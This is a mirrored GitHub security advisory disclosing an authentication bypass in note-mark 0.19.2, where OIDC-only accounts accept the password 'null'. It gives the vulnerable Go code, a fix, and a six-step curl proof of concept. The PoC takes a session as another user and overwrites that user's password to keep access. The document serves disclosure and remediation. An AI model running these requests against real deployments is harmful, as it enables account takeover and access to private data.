Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 16:11 UTC Customize Public modeDiscuss ChangeIntel on Discord

Note Mark: OIDC-registered users authenticated by submitting password "null"

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-pxf8-6wqm-r6hh

Published

## Summary `IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt("null")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: "null"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. ## Details `backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`: ```go var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost) ``` `IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty: ```go func (u *User) IsPasswordMatch(plainPassword string) bool { var current []byte if len(u.Password) == 0 { // prevent CWE-208 current = nullPasswordHash } else { current = u.Password } if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil { return true } return false } ``` OIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`: ```go return db.DB.Transaction(func(tx *gorm.DB) error { user := db.User{ Username: username, Password: []byte(""), } // ... }) ``` The internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie. `EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint. Once the session is issued, `PUT /api/users/me/password` accepts `existingPassword: "null"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path. ## Proof of Concept Tested against `note-mark` v0.19.2. Step 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed. ```bash docker run -d --name note-mark-poc \ -e OIDC__PROVIDER_NAME=example \ -e OIDC__CLIENT_ID=note-mark \ -e OIDC__CLIENT_SECRET=secret \ -e OIDC__ISSUER_URL=https://your-oidc-provider/ \ -e OIDC__ENABLE_USER_CREATION=true \ -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2 ``` Step 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte("")`. Step 3: Bob confirms the preconditions. ```bash curl -s http://localhost:8088/api/info # {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...} ``` Step 4: Bob logs in as Alice via the internal endpoint. ```bash curl -i -X POST http://localhost:8088/api/auth/token \ -H 'Content-Type: application/json' \ -d '{"grant_type":"password","username":"alice","password":"null"}' ``` Response: ``` HTTP/1.1 204 No Content Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict ``` Step 5: Bob uses the cookie to read Alice's account. ```bash curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me # {"id":"...","username":"alice","name":"Alice"} ``` Step 6: Bob persists access by writing his own password onto Alice's row. ```bash curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \ http://localhost:8088/api/users/me/password \ -H 'Content-Type: application/json' \ -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}' # HTTP/1.1 204 No Content ``` Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row. A companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`. ## Impact Every OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand. The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part. ## Recommended Fix The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`: ```go // backend/services/auth.go:28 var user db.User if err := db.DB. First(&user, "username = ?", username). Select("id", "password").Error; err != nil { user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation return core.AccessToken{}, InvalidCredentialsError } if len(user.Password) == 0 { return core.AccessToken{}, InvalidCredentialsError } if !user.IsPasswordMatch(password) { return core.AccessToken{}, InvalidCredentialsError } ``` The equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step. Replacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret: ```go // backend/db/models.go:36 var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost) ``` The explicit empty-password check is preferable because the intent is readable in the source. --- *Found by [aisafe.io](https://aisafe.io)*

Source published
25 Apr 2026 23:40:19 UTC
Source modified
25 Jun 2026 23:11:43 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 16:11 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current